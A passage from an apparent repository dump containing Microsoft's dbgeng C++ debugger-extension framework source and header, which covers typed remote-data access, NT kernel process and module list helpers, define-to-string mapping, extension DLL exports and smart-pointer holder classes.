LONG64 Index)\n{\n ExtRemoteTyped Ret;\n\n PSTR Msg = g_Ext->\n PrintCircleString(\"ArrayElement: unable to retrieve element %I64d\",\n Index);\n ErtIoctl(Msg, EXT_TDOP_GET_ARRAY_ELEMENT,\n ErtIn | ErtOut, NULL, Index, &Ret);\n return Ret;\n}\n\nExtRemoteTyped\nExtRemoteTyped::Dereference(void)\n{\n ExtRemoteTyped Ret;\n\n ErtIoctl(\"Dereference\", EXT_TDOP_GET_DEREFERENCE,\n ErtIn | ErtOut, NULL, 0, &Ret);\n return Ret;\n}\n\nExtRemoteTyped\nExtRemoteTyped::GetPointerTo(void)\n{\n ExtRemoteTyped Ret;\n\n ErtIoctl(\"GetPointerTo\", EXT_TDOP_GET_POINTER_TO,\n ErtIn | ErtOut, NULL, 0, &Ret);\n return Ret;\n}\n\nExtRemoteTyped\nExtRemoteTyped::Eval(__in PCSTR Expr)\n{\n ExtRemoteTyped Ret;\n \n PSTR Msg = g_Ext->\n PrintCircleString(\"Eval: unable to evaluate '%s'\",\n Expr);\n ErtIoctl(Msg, EXT_TDOP_EVALUATE, ErtIn | ErtOut, Expr, 0, &Ret);\n return Ret;\n}\n\nPSTR\nExtRemoteTyped::GetTypeName(void)\n{\n ErtIoctl(\"GetTypeName\", EXT_TDOP_GET_TYPE_NAME, ErtIn, NULL, 0, NULL,\n g_Ext->s_String, EXT_DIMA(g_Ext->s_String));\n return g_Ext->CopyCircleString(g_Ext->s_String);\n}\n\nULONG\nExtRemoteTyped::GetTypeFieldOffset(__in PCSTR Type,\n __in PCSTR Field)\n{\n HRESULT Status;\n DEBUG_VALUE Data;\n PSTR Expr;\n\n Expr = g_Ext->PrintCircleString(\"@@c++(#FIELD_OFFSET(%s, %s))\",\n Type, Field);\n if (FAILED(Status = g_Ext->m_Control->\n Evaluate(Expr, DEBUG_VALUE_INT64, &Data, NULL)))\n {\n g_Ext->ThrowRemote(Status,\n \"Could not find type field %s.%s\",\n Type, Field);\n }\n\n return (ULONG)Data.I64;\n}\n\nHRESULT\nExtRemoteTyped::ErtIoctl(__in PCSTR Message,\n __in EXT_TDOP Op,\n __in ULONG Flags,\n __in_opt PCSTR InStr,\n __in ULONG64 In64,\n __out_opt ExtRemoteTyped* Ret,\n __out_ecount_opt(StrBufferChars) PSTR StrBuffer,\n __in ULONG StrBufferChars,\n __out_opt PULONG Out32)\n{\n HRESULT Status;\n ULONG64 StackExtData[(sizeof(EXT_TYPED_DATA) + 11 * sizeof(ULONG64) - 1) /\n sizeof(ULONG64)];\n EXT_TYPED_DATA* ExtData;\n ULONG ExtDataBytes;\n PBYTE ExtraData;\n\n C_ASSERT(EXT_TDF_PHYSICAL_MEMORY == DEBUG_TYPED_DATA_PHYSICAL_MEMORY);\n \n g_Ext->ThrowInterrupt();\n\n ExtDataBytes = sizeof(*ExtData) +\n StrBufferChars * sizeof(*StrBuffer);\n if (InStr)\n {\n ExtDataBytes += (strlen(InStr) + 1) * sizeof(*InStr);\n }\n\n if (ExtDataBytes > sizeof(StackExtData))\n {\n ExtData = (EXT_TYPED_DATA*)malloc(ExtDataBytes);\n if (!ExtData)\n {\n return E_OUTOFMEMORY;\n }\n }\n else\n {\n ExtData = (EXT_TYPED_DATA*)&StackExtData;\n }\n ExtraData = (PBYTE)(ExtData + 1);\n \n ZeroMemory(ExtData, sizeof(*ExtData));\n ExtData->Operation = Op;\n if (m_Physical)\n {\n ExtData->Flags |= (m_SpaceFlags + 1) << 1;\n }\n if (InStr)\n {\n ExtData->InStrIndex = (ULONG)(ExtraData - (PBYTE)ExtData);\n memcpy(ExtraData, InStr,\n (strlen(InStr) + 1) * sizeof(*InStr));\n ExtraData += (strlen(InStr) + 1) * sizeof(*InStr);\n }\n ExtData->In64 = In64;\n if (StrBuffer)\n {\n ExtData->StrBufferIndex = (ULONG)(ExtraData - (PBYTE)ExtData);\n ExtData->StrBufferChars = StrBufferChars;\n ExtraData += StrBufferChars * sizeof(*StrBuffer);\n }\n \n if ((Flags & (ErtIn | ErtUncheckedIn)) != 0)\n {\n if ((Flags & ErtIn) != 0 && !m_Release)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"ExtRemoteTyped::%s\", Message);\n }\n\n ExtData->InData = m_Typed;\n }\n\n Status = g_Ext->m_Advanced2->\n Request(DEBUG_REQUEST_EXT_TYPED_DATA_ANSI,\n ExtData, ExtDataBytes,\n ExtData, ExtDataBytes,\n NULL);\n if (SUCCEEDED(Status))\n {\n Status = ExtData->Status;\n }\n\n if ((Flags & ErtIgnoreError) == 0 &&\n FAILED(Status))\n {\n g_Ext->ThrowRemote(Status,\n \"ExtRemoteTyped::%s\", Message);\n }\n\n if ((Flags & ErtOut) != 0)\n {\n if (!Ret)\n {\n Ret = this;\n }\n\n Ret->Release();\n Ret->m_Typed = ExtData->OutData;\n Ret->ExtRemoteData::Set(&Ret->m_Typed);\n Ret->m_Release = true;\n }\n\n if (StrBuffer)\n {\n memcpy(StrBuffer, (PBYTE)ExtData + ExtData->StrBufferIndex,\n StrBufferChars * sizeof(*StrBuffer));\n }\n \n if (Out32)\n {\n *Out32 = ExtData->Out32;\n }\n\n if ((PULONG64)ExtData != StackExtData)\n {\n free(ExtData);\n }\n \n return Status;\n}\n\nvoid\nExtRemoteTyped::Clear(void)\n{\n ZeroMemory(&m_Typed, sizeof(m_Typed));\n m_Release = false;\n ExtRemoteData::Clear();\n}\n\n//----------------------------------------------------------------------------\n//\n// Helpers for handling well-known NT data and types.\n//\n//----------------------------------------------------------------------------\n\nULONG64 ExtNtOsInformation::s_KernelLoadedModuleBaseInfoCookie;\nULONG64 ExtNtOsInformation::s_KernelProcessBaseInfoCookie;\nULONG64 ExtNtOsInformation::s_KernelThreadBaseInfoCookie;\nULONG64 ExtNtOsInformation::s_KernelProcessThreadListFieldCookie;\nULONG64 ExtNtOsInformation::s_UserOsLoadedModuleBaseInfoCookie;\nULONG64 ExtNtOsInformation::s_UserAltLoadedModuleBaseInfoCookie;\nULONG64 ExtNtOsInformation::s_OsPebBaseInfoCookie;\nULONG64 ExtNtOsInformation::s_AltPebBaseInfoCookie;\nULONG64 ExtNtOsInformation::s_OsTebBaseInfoCookie;\nULONG64 ExtNtOsInformation::s_AltTebBaseInfoCookie;\n\nULONG64\nExtNtOsInformation::GetKernelLoadedModuleListHead(void)\n{\n return GetNtDebuggerData(DEBUG_DATA_PsLoadedModuleListAddr,\n \"nt!PsLoadedModuleList\",\n 0);\n}\n\nExtRemoteTypedList\nExtNtOsInformation::GetKernelLoadedModuleList(void)\n{\n ExtRemoteTypedList List(GetKernelLoadedModuleListHead(),\n \"nt!_KLDR_DATA_TABLE_ENTRY\",\n \"InLoadOrderLinks\",\n 0,\n 0,\n &s_KernelLoadedModuleBaseInfoCookie,\n true);\n List.m_MaxIter = 1000;\n return List;\n}\n \nExtRemoteTyped\nExtNtOsInformation::GetKernelLoadedModule(__in ULONG64 Offset)\n{\n // We are caching both type and link information\n // so provide a link field here to keep the\n // cache properly filled out.\n return ExtRemoteTyped(\"nt!_KLDR_DATA_TABLE_ENTRY\",\n Offset,\n true,\n &s_KernelLoadedModuleBaseInfoCookie,\n \"InLoadOrderLinks\");\n}\n\nULONG64\nExtNtOsInformation::GetKernelProcessListHead(void)\n{\n return GetNtDebuggerData(DEBUG_DATA_PsActiveProcessHeadAddr,\n \"nt!PsActiveProcessHead\",\n 0);\n}\n\nExtRemoteTypedList\nExtNtOsInformation::GetKernelProcessList(void)\n{\n ExtRemoteTypedList List(GetKernelProcessListHead(),\n \"nt!_EPROCESS\",\n \"ActiveProcessLinks\",\n 0,\n 0,\n &s_KernelProcessBaseInfoCookie,\n true);\n List.m_MaxIter = 4000;\n return List;\n}\n\nExtRemoteTyped\nExtNtOsInformation::GetKernelProcess(__in ULONG64 Offset)\n{\n // We are caching both type and link information\n // so provide a link field here to keep the\n // cache properly filled out.\n return ExtRemoteTyped(\"nt!_EPROCESS\",\n Offset,\n true,\n &s_KernelProcessBaseInfoCookie,\n \"ActiveProcessLinks\");\n}\n\nULONG64\nExtNtOsInformation::GetKernelProcessThreadListHead(__in ULONG64 Process)\n{\n return Process +\n g_Ext->GetCachedFieldOffset(&s_KernelProcessThreadListFieldCookie,\n \"nt!_EPROCESS\",\n \"Pcb.ThreadListHead\");\n}\n\nExtRemoteTypedList\nExtNtOsInformation::GetKernelProcessThreadList(__in ULONG64 Process)\n{\n ExtRemoteTypedList List(GetKernelProcessThreadListHead(Process),\n \"nt!_ETHREAD\",\n \"Tcb.ThreadListEntry\",\n 0,\n 0,\n &s_KernelThreadBaseInfoCookie,\n true);\n List.m_MaxIter = 15000;\n return List;\n}\n\nExtRemoteTyped\nExtNtOsInformation::GetKernelThread(__in ULONG64 Offset)\n{\n // We are caching both type and link information\n // so provide a link field here to keep the\n // cache properly filled out.\n return ExtRemoteTyped(\"nt!_ETHREAD\",\n Offset,\n true,\n &s_KernelThreadBaseInfoCookie,\n \"Tcb.ThreadListEntry\");\n}\n\nULONG64\nExtNtOsInformation::GetUserLoadedModuleListHead(__in bool NativeOnly)\n{\n HRESULT Status;\n\n if (NativeOnly ||\n !g_Ext->Is32On64())\n {\n DEBUG_VALUE Data;\n \n if (FAILED(Status = g_Ext->m_Control->\n Evaluate(\"@@c++(&@$peb->Ldr->InLoadOrderModuleList)\",\n DEBUG_VALUE_INT64, &Data, NULL)))\n {\n g_Ext->ThrowRemote(Status,\n \"Unable to get loader list head from PEB\");\n }\n\n return Data.I64;\n }\n else\n {\n // We're looking at a 32-bit structure so only\n // pull out a 32-bit pointer value. We do\n // not sign-extend as this is a UM pointer and\n // should not get sign-extended.\n return GetAltPeb().\n Eval(\"&@$extin->Ldr->InLoadOrderModuleList\").GetUlong();\n }\n}\n\nExtRemoteTypedList\nExtNtOsInformation::GetUserLoadedModuleList(__in bool NativeOnly)\n{\n if (NativeOnly ||\n !g_Ext->Is32On64())\n {\n ExtRemoteTypedList List(GetUserLoadedModuleListHead(NativeOnly),\n \"${$ntnsym}!_LDR_DATA_TABLE_ENTRY\",\n \"InLoadOrderLinks\",\n 0,\n 0,\n &s_UserOsLoadedModuleBaseInfoCookie,\n true);\n List.m_MaxIter = 1000;\n return List;\n }\n else\n {\n ExtRemoteTypedList List(GetUserLoadedModuleListHead(NativeOnly),\n \"${$ntwsym}!_LDR_DATA_TABLE_ENTRY\",\n \"InLoadOrderLinks\",\n 0,\n 0,\n &s_UserAltLoadedModuleBaseInfoCookie,\n true);\n List.m_MaxIter = 1000;\n return List;\n }\n}\n\nExtRemoteTyped\nExtNtOsInformation::GetUserLoadedModule(__in ULONG64 Offset,\n __in bool NativeOnly)\n{\n // We are caching both type and link information\n // so provide a link field here to keep the\n // cache properly filled out.\n if (NativeOnly ||\n !g_Ext->Is32On64())\n {\n return ExtRemoteTyped(\"${$ntnsym}!_LDR_DATA_TABLE_ENTRY\",\n Offset,\n true,\n &s_UserOsLoadedModuleBaseInfoCookie,\n \"InLoadOrderLinks\");\n }\n else\n {\n return ExtRemoteTyped(\"${$ntwsym}!_LDR_DATA_TABLE_ENTRY\",\n Offset,\n true,\n &s_UserAltLoadedModuleBaseInfoCookie,\n \"InLoadOrderLinks\");\n }\n}\n\nULONG64\nExtNtOsInformation::GetOsPebPtr(void)\n{\n HRESULT Status;\n ULONG64 Offset;\n\n if ((Status = g_Ext->m_System->\n GetCurrentProcessPeb(&Offset)) != S_OK)\n {\n g_Ext->ThrowRemote(Status,\n \"Unable to get OS PEB pointer\");\n }\n\n return Offset;\n}\n\nExtRemoteTyped\nExtNtOsInformation::GetOsPeb(__in ULONG64 Offset)\n{\n return ExtRemoteTyped(\"${$ntnsym}!_PEB\",\n Offset,\n true,\n &s_OsPebBaseInfoCookie);\n}\n\nULONG64\nExtNtOsInformation::GetOsTebPtr(void)\n{\n HRESULT Status;\n ULONG64 Offset;\n\n if ((Status = g_Ext->m_System->\n GetCurrentThreadTeb(&Offset)) != S_OK)\n {\n g_Ext->ThrowRemote(Status,\n \"Unable to get OS TEB pointer\");\n }\n\n return Offset;\n}\n\nExtRemoteTyped\nExtNtOsInformation::GetOsTeb(__in ULONG64 Offset)\n{\n return ExtRemoteTyped(\"${$ntnsym}!_TEB\",\n Offset,\n true,\n &s_OsTebBaseInfoCookie);\n}\n\nULONG64\nExtNtOsInformation::GetAltPebPtr(void)\n{\n ExtRemoteTyped AltTeb = GetAltTeb();\n return AltTeb.Field(\"ProcessEnvironmentBlock\").GetUlong();\n}\n\nExtRemoteTyped\nExtNtOsInformation::GetAltPeb(__in ULONG64 Offset)\n{\n return ExtRemoteTyped(\"${$ntwsym}!_PEB\",\n Offset,\n true,\n &s_AltPebBaseInfoCookie);\n}\n\nULONG64\nExtNtOsInformation::GetAltTebPtr(void)\n{\n // If this is a 32-bit machine there's no\n // WOW64 TEB.\n if (!g_Ext->IsMachine64(g_Ext->m_ActualMachine))\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"No alternate TEB available\");\n }\n\n //\n // The pointer to the WOW64 TEB is the first pointer of\n // the 64-bit TEB.\n //\n\n ExtRemoteData OsTeb(GetOsTebPtr(), sizeof(ULONG64));\n return OsTeb.GetUlong64();\n}\n\nExtRemoteTyped\nExtNtOsInformation::GetAltTeb(__in ULONG64 Offset)\n{\n return ExtRemoteTyped(\"${$ntwsym}!_TEB\",\n Offset,\n true,\n &s_AltTebBaseInfoCookie);\n}\n\nULONG64\nExtNtOsInformation::GetCurPebPtr(void)\n{\n return g_Ext->Is32On64() ?\n GetAltPebPtr() : GetOsPebPtr();\n}\n\nExtRemoteTyped\nExtNtOsInformation::GetCurPeb(__in ULONG64 Offset)\n{\n return g_Ext->Is32On64() ?\n GetAltPeb(Offset) : GetOsPeb(Offset);\n}\n\nULONG64\nExtNtOsInformation::GetCurTebPtr(void)\n{\n return g_Ext->Is32On64() ?\n GetAltTebPtr() : GetOsTebPtr();\n}\n\nExtRemoteTyped\nExtNtOsInformation::GetCurTeb(__in ULONG64 Offset)\n{\n return g_Ext->Is32On64() ?\n GetAltTeb(Offset) : GetOsTeb(Offset);\n}\n \nULONG64\nExtNtOsInformation::GetNtDebuggerData(__in ULONG DataOffset,\n __in PCSTR Symbol,\n __in ULONG Flags)\n{\n ULONG64 Data;\n\n UNREFERENCED_PARAMETER(Flags);\n\n //\n // First check the kernel's data block.\n //\n \n if (g_Ext->m_Data->\n ReadDebuggerData(DataOffset, &Data, sizeof(Data), NULL) == S_OK)\n {\n return Data;\n }\n\n //\n // Fall back on symbols.\n //\n\n if (g_Ext->m_Symbols->\n GetOffsetByName(Symbol, &Data) != S_OK)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"Unable to find '%s', check your NT kernel symbols\",\n Symbol);\n }\n\n return Data;\n}\n\n//----------------------------------------------------------------------------\n//\n// Number-to-string helpers for things like #define translations.\n//\n//----------------------------------------------------------------------------\n\nExtDefine*\nExtDefineMap::Map(__in ULONG64 Value)\n{\n if ((m_Flags & Bitwise) != 0)\n {\n for (ExtDefine* Define = m_Defines; Define->Name; Define++)\n {\n if ((Define->Value & Value) == Define->Value)\n {\n return Define;\n }\n }\n }\n else\n {\n for (ExtDefine* Define = m_Defines; Define->Name; Define++)\n {\n if (Define->Value == Value)\n {\n return Define;\n }\n }\n }\n\n return NULL;\n}\n\nPCSTR\nExtDefineMap::MapStr(__in ULONG64 Value,\n __in_opt PCSTR InvalidStr)\n{\n ExtDefine* Define = Map(Value);\n if (Define)\n {\n return Define->Name;\n }\n if (InvalidStr)\n {\n return InvalidStr;\n }\n else\n {\n return g_Ext->PrintCircleString(\"<0x%I64x>\", Value);\n }\n}\n\nvoid\nExtDefineMap::Out(__in ULONG64 Value,\n __in ULONG Flags,\n __in_opt PCSTR InvalidStr)\n{\n ULONG OldIndent = g_Ext->m_LeftIndent;\n g_Ext->m_LeftIndent = g_Ext->m_CurChar;\n\n if ((Flags & OutValue) != 0)\n {\n g_Ext->OutWrap(\"%I64x\", Value);\n }\n else if ((Flags & OutValue32) != 0)\n {\n g_Ext->OutWrap(\"%08I64x\", Value);\n }\n else if ((Flags & OutValue64) != 0)\n {\n g_Ext->OutWrap(\"%016I64x\", Value);\n }\n \n if ((m_Flags & Bitwise) != 0)\n {\n if (!Value)\n {\n if ((Flags & ValueAny) == 0)\n {\n g_Ext->OutWrapStr(\"\");\n }\n }\n else\n {\n bool First = true;\n \n while (Value)\n {\n ExtDefine* Define = Map(Value);\n\n if (!Define &&\n (Flags & ValueAny) != 0 &&\n !InvalidStr)\n {\n // Value already displayed.\n break;\n }\n \n if (!First)\n {\n g_Ext->OutWrapStr(\" | \");\n }\n else\n {\n if ((Flags & OutValueAny) != 0)\n {\n g_Ext->OutWrapStr(\" \");\n }\n \n First = false;\n }\n \n if (Define)\n {\n g_Ext->OutWrapStr(Define->Name);\n Value &= ~Define->Value;\n }\n else\n {\n if (InvalidStr)\n {\n g_Ext->OutWrapStr(InvalidStr);\n }\n else\n {\n g_Ext->OutWrap(\"<0x%I64x>\", Value);\n }\n break;\n }\n }\n }\n }\n else\n {\n if ((Flags & ValueAny) == 0 ||\n InvalidStr)\n {\n if ((Flags & OutValueAny) != 0)\n {\n g_Ext->OutWrapStr(\" \");\n }\n \n g_Ext->OutWrapStr(MapStr(Value, InvalidStr));\n }\n else\n {\n ExtDefine* Define = Map(Value);\n if (Define)\n {\n InvalidStr = Define->Name;\n }\n if (InvalidStr)\n {\n if ((Flags & OutValueAny) != 0)\n {\n g_Ext->OutWrapStr(\" \");\n }\n \n g_Ext->OutWrapStr(InvalidStr);\n }\n }\n }\n\n g_Ext->m_LeftIndent = OldIndent;\n}\n\n//----------------------------------------------------------------------------\n//\n// Extension DLL exports.\n//\n//----------------------------------------------------------------------------\n\nEXTERN_C BOOL WINAPI\nDllMain(HANDLE Instance, ULONG Reason, PVOID Reserved)\n{\n UNREFERENCED_PARAMETER(Reserved);\n\n switch(Reason)\n {\n case DLL_PROCESS_ATTACH:\n ExtExtension::s_Module = (HMODULE)Instance;\n break;\n }\n\n return TRUE;\n}\n\nEXTERN_C HRESULT CALLBACK\nDebugExtensionInitialize(__out PULONG Version,\n __out PULONG Flags)\n{\n HRESULT Status;\n\n // Pick up our global state.\n g_Ext = g_ExtInstancePtr;\n ExtExtension* Inst = g_Ext;\n \n // Pass registered commands to the extension\n // so that further references are confined to\n // extension class data.\n ExtCommandDesc::Transfer(&Inst->m_Commands,\n &Inst->m_LongestCommandName);\n \n if ((Status = Inst->Initialize()) != S_OK)\n {\n return Status;\n }\n\n *Version = DEBUG_EXTENSION_VERSION(Inst->m_ExtMajorVersion,\n Inst->m_ExtMinorVersion);\n *Flags = Inst->m_ExtInitFlags;\n return S_OK;\n}\n\nEXTERN_C void CALLBACK\nDebugExtensionUninitialize(void)\n{\n if (!g_Ext.IsSet())\n {\n return;\n }\n\n g_Ext->Uninitialize();\n}\n\nEXTERN_C void CALLBACK\nDebugExtensionNotify(__in ULONG Notify,\n __in ULONG64 Argument)\n{\n if (!g_Ext.IsSet())\n {\n return;\n }\n\n ExtExtension* Inst = g_Ext;\n\n switch(Notify)\n {\n case DEBUG_NOTIFY_SESSION_ACTIVE:\n Inst->OnSessionActive(Argument);\n break;\n case DEBUG_NOTIFY_SESSION_INACTIVE:\n Inst->OnSessionInactive(Argument);\n break;\n case DEBUG_NOTIFY_SESSION_ACCESSIBLE:\n Inst->OnSessionAccessible(Argument);\n break;\n case DEBUG_NOTIFY_SESSION_INACCESSIBLE:\n Inst->OnSessionInaccessible(Argument);\n break;\n }\n}\n\nEXTERN_C HRESULT CALLBACK\nKnownStructOutputEx(__in PDEBUG_CLIENT Client,\n __in ULONG Flags,\n __in ULONG64 Offset,\n __in_opt PCSTR TypeName,\n __out_ecount_opt(*BufferChars) PSTR Buffer,\n __inout_opt PULONG BufferChars)\n{\n if (!g_Ext.IsSet())\n {\n return E_UNEXPECTED;\n }\n\n return g_Ext->HandleKnownStruct(Client, Flags, Offset, TypeName,\n Buffer, BufferChars);\n}\n\nEXTERN_C HRESULT CALLBACK\nDebugExtensionQueryValueNames(__in PDEBUG_CLIENT Client,\n __in ULONG Flags,\n __out_ecount(BufferChars) PWSTR Buffer,\n __in ULONG BufferChars,\n __out PULONG BufferNeeded)\n{\n if (!g_Ext.IsSet())\n {\n return E_UNEXPECTED;\n }\n\n return g_Ext->HandleQueryValueNames(Client, Flags,\n Buffer, BufferChars, BufferNeeded);\n}\n\nEXTERN_C HRESULT CALLBACK\nDebugExtensionProvideValue(__in PDEBUG_CLIENT Client,\n __in ULONG Flags,\n __in PCWSTR Name,\n __out PULONG64 Value,\n __out PULONG64 TypeModBase,\n __out PULONG TypeId,\n __out PULONG TypeFlags)\n{\n if (!g_Ext.IsSet())\n {\n return E_UNEXPECTED;\n }\n\n return g_Ext->HandleProvideValue(Client, Flags, Name,\n Value, TypeModBase, TypeId, TypeFlags);\n}\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/engextcpp.hpp", "content": "//----------------------------------------------------------------------------\n//\n// C++ dbgeng extension framework.\n//\n// The framework makes it easy to write dbgeng extension\n// DLLs by wrapping the inconvenient parts of the extension API.\n// Boilerplate code is provided as base implementations,\n// removing the need to put in empty or skeleton code.\n// Error handling is done via exceptions, removing most\n// error path code.\n//\n// The framework assumes async exception handling compilation.\n//\n// Copyright (C) Microsoft Corporation, 2005-2006.\n//\n//----------------------------------------------------------------------------\n\n#if _MSC_VER > 1000\n#pragma once\n#endif\n\n#ifndef __ENGEXTCPP_HPP__\n#define __ENGEXTCPP_HPP__\n\n#ifndef __cplusplus\n#error engextcpp.hpp requires C++.\n#endif\n\n#include \n#include \n#define KDEXT_64BIT\n#include \n\n#include \n\n#if _MSC_VER >= 800\n#pragma warning(disable:4121)\n#endif\n \n// This will be an engine extension DLL so the wdbgexts\n// APIs are not appropriate.\n#undef DECLARE_API\n#undef DECLARE_API32\n#undef DECLARE_API64\n\n//----------------------------------------------------------------------------\n//\n// Basic utilities needed later.\n//\n//----------------------------------------------------------------------------\n\n#define EXT_RELEASE(_Unk) \\\n ((_Unk) != NULL ? ((_Unk)->Release(), (void)((_Unk) = NULL)) : (void)NULL)\n\n#define EXT_DIMAT(_Array, _EltType) (sizeof(_Array) / sizeof(_EltType))\n#define EXT_DIMA(_Array) EXT_DIMAT(_Array, (_Array)[0])\n\nclass ExtExtension;\nclass ExtCommandDesc;\n\n//----------------------------------------------------------------------------\n//\n// All errors from this framework are handled by exceptions.\n// The exception hierarchy allows various conditions to\n// be handled separately, but generally extensions should\n// not need to do any exception handling. The framework\n// automatically wraps extensions with try/catch to absorb\n// errors properly.\n//\n//----------------------------------------------------------------------------\n\nclass ExtException\n{\npublic:\n ExtException(__in HRESULT Status,\n __in_opt PCSTR Message)\n {\n m_Status = Status;\n m_Message = Message;\n }\n\n HRESULT GetStatus(void)\n {\n return m_Status;\n }\n HRESULT SetStatus(__in HRESULT Status)\n {\n m_Status = Status;\n return Status;\n }\n \n PCSTR GetMessage(void)\n {\n return m_Message;\n }\n void SetMessage(__in_opt PCSTR Message)\n {\n m_Message = Message;\n }\n \n void PrintMessageVa(__in_ecount(BufferChars) PSTR Buffer,\n __in ULONG BufferChars,\n __in PCSTR Format,\n __in va_list Args);\n void WINAPIV PrintMessage(__in_ecount(BufferChars) PSTR Buffer,\n __in ULONG BufferChars,\n __in PCSTR Format,\n ...);\n \nprotected:\n HRESULT m_Status;\n PCSTR m_Message;\n};\n\nclass ExtRemoteException : public ExtException\n{\npublic:\n ExtRemoteException(__in HRESULT Status,\n __in PCSTR Message)\n : ExtException(Status, Message) { }\n};\n\nclass ExtStatusException : public ExtException\n{\npublic:\n ExtStatusException(__in HRESULT Status,\n __in_opt PCSTR Message = NULL)\n : ExtException(Status, Message) { }\n};\n\nclass ExtInterruptException : public ExtException\n{\npublic:\n ExtInterruptException(void)\n : ExtException(HRESULT_FROM_NT(STATUS_CONTROL_C_EXIT),\n \"Operation interrupted by request\") { }\n};\n\nclass ExtCheckedPointerException : public ExtException\n{\npublic:\n ExtCheckedPointerException(__in PCSTR Message)\n : ExtException(E_INVALIDARG, Message) { }\n};\n\nclass ExtInvalidArgumentException : public ExtException\n{\npublic:\n ExtInvalidArgumentException(__in PCSTR Message)\n : ExtException(E_INVALIDARG, Message) { }\n};\n\n//----------------------------------------------------------------------------\n//\n// A checked pointer ensures that its value is non-NULL.\n// This kind of wrapper is used for engine interface pointers\n// so that extensions can simply use whatever interface they\n// prefer with soft failure against engines that don't support\n// the desired interfaces.\n//\n//----------------------------------------------------------------------------\n\ntemplate\nclass ExtCheckedPointer\n{\npublic:\n ExtCheckedPointer(__in PCSTR Message)\n {\n m_Message = Message;\n m_Ptr = NULL;\n }\n\n bool IsSet(void)\n {\n return m_Ptr != NULL;\n }\n void Throw(void) throw(...)\n {\n if (!m_Ptr)\n {\n throw ExtCheckedPointerException(m_Message);\n }\n }\n _T* Get(void) throw(...)\n {\n Throw();\n return m_Ptr;\n }\n void Set(__in_opt _T* Ptr)\n {\n m_Ptr = Ptr;\n }\n\n bool operator==(const _T* Ptr) const\n {\n return m_Ptr == Ptr;\n }\n bool operator!=(const _T* Ptr) const\n {\n return !(*this == Ptr);\n }\n\n operator _T*(void) throw(...)\n {\n return Get();\n }\n _T* operator->(void) throw(...)\n {\n return Get();\n }\n _T** operator&(void)\n {\n return &m_Ptr;\n }\n ExtCheckedPointer<_T>& operator=(ExtCheckedPointer<_T>& Ptr)\n {\n Set(Ptr.m_Ptr);\n return *this;\n }\n ExtCheckedPointer<_T>& operator=(__in_opt _T* Ptr)\n {\n Set(Ptr);\n return *this;\n }\n\nprotected:\n PCSTR m_Message;\n _T* m_Ptr;\n};\n\n//----------------------------------------------------------------------------\n//\n// An unknown holder is a safe pointer for an IUnknown.\n// It automatically checks for NULL usage and calls\n// Release on destruction.\n//\n//----------------------------------------------------------------------------\n\ntemplate\nclass ExtUnknownHolder\n{\npublic:\n ExtUnknownHolder(void)\n {\n m_Unk = NULL;\n }\n ~ExtUnknownHolder(void)\n {\n EXT_RELEASE(m_Unk);\n }\n \n _T* Get(void) throw(...)\n {\n if (!m_Unk)\n {\n throw ExtStatusException(E_NOINTERFACE,\n \"ExtUnknownHolder NULL reference\");\n }\n return m_Unk;\n }\n void Set(__in_opt _T* Unk)\n {\n EXT_RELEASE(m_Unk);\n m_Unk = Unk;\n }\n void Relinquish(void)\n {\n m_Unk = NULL;\n }\n\n bool operator==(const _T* Unk) const\n {\n return m_Unk == Unk;\n }\n bool operator!=(const _T* Unk) const\n {\n return !(*this == Unk);\n }\n \n operator _T*(void) throw(...)\n {\n return Get();\n }\n _T* operator->(void) throw(...)\n {\n return Get();\n }\n _T** operator&(void)\n {\n if (m_Unk)\n {\n throw ExtStatusException(E_NOINTERFACE,\n \"ExtUnknownHolder non-NULL & reference\");\n }\n return &m_Unk;\n }\n ExtUnknownHolder<_T>& operator=(ExtUnknownHolder<_T>& Unk)\n {\n Set(Unk.m_Unk);\n return *this;\n }\n ExtUnknownHolder<_T>& operator=(_T* Unk)\n {\n Set(Unk);\n return *this;\n }\n\nprotected:\n _T* m_Unk;\n};\n\n//----------------------------------------------------------------------------\n//\n// A delete holder is a safe pointer for a dynamic object.\n// It automatically checks for NULL usage and calls\n// delete on destruction.\n//\n//----------------------------------------------------------------------------\n\ntemplate\nclass ExtDeleteHolder\n{\npublic:\n ExtDeleteHolder(void)\n {\n m_Ptr = NULL;\n }\n ~ExtDeleteHolder(void)\n {\n delete m_Ptr;\n }\n\n _T* New(void) throw(...)\n {\n _T* Ptr = new _T;\n if (!Ptr)\n {\n throw ExtStatusException(E_OUTOFMEMORY);\n }\n Set(Ptr);\n return Ptr;\n }\n _T* New(ULONG Elts) throw(...)\n {\n if (Elts > (ULONG_PTR)-1 / sizeof(_T))\n {\n throw ExtStatusException\n (HRESULT_FROM_WIN32(ERROR_ARITHMETIC_OVERFLOW),\n \"ExtDeleteHolder::New count overflow\");\n }\n _T* Ptr = new _T[Elts];\n if (!Ptr)\n {\n throw ExtStatusException(E_OUTOFMEMORY);\n }\n Set(Ptr);\n return Ptr;\n }\n \n _T* Get(void) throw(...)\n {\n if (!m_Ptr)\n {\n throw ExtStatusException(E_INVALIDARG,\n \"ExtDeleteHolder NULL reference\");\n }\n return m_Ptr;\n }\n void Set(__in_opt _T* Ptr)\n {\n delete m_Ptr;\n m_Ptr = Ptr;\n }\n void Relinquish(void)\n {\n m_Ptr = NULL;\n }\n\n bool operator==(const _T* Ptr) const\n {\n return m_Ptr == Ptr;\n }\n bool operator!=(const _T* Ptr) const\n {\n return !(*this == Ptr);\n }\n \n operator _T*(void) throw(...)\n {\n return Get();\n }\n _T* operator->(void) throw(...)\n {\n return Get();\n }\n _T** operator&(void)\n {\n if (m_Ptr)\n {\n throw ExtStatusException(E_INVALIDARG,\n \"ExtDeleteHolder non-NULL & reference\");\n }\n return &m_Ptr;\n }\n ExtDeleteHolder<_T>& operator=(ExtDeleteHolder<_T>& Ptr)\n {\n Set(Ptr.m_Ptr);\n return *this;\n }\n ExtDeleteHolder<_T>& operator=(_T* Ptr)\n {\n Set(Ptr);\n return *this;\n }\n\nprotected:\n _T* m_Ptr;\n};\n\n//----------------------------------------------------------------------------\n//\n// A current-thread holder is an auto-cleanup holder\n// for restoring the debugger's current thread.\n//\n//----------------------------------------------------------------------------\n\nclass ExtCurrentThreadHolder\n{\npublic:\n ExtCurrentThreadHolder(void)\n {\n m_ThreadId = DEBUG_ANY_ID;\n }\n ExtCurrentThreadHolder(__in ULONG Id)\n {\n m_ThreadId = Id;\n }\n 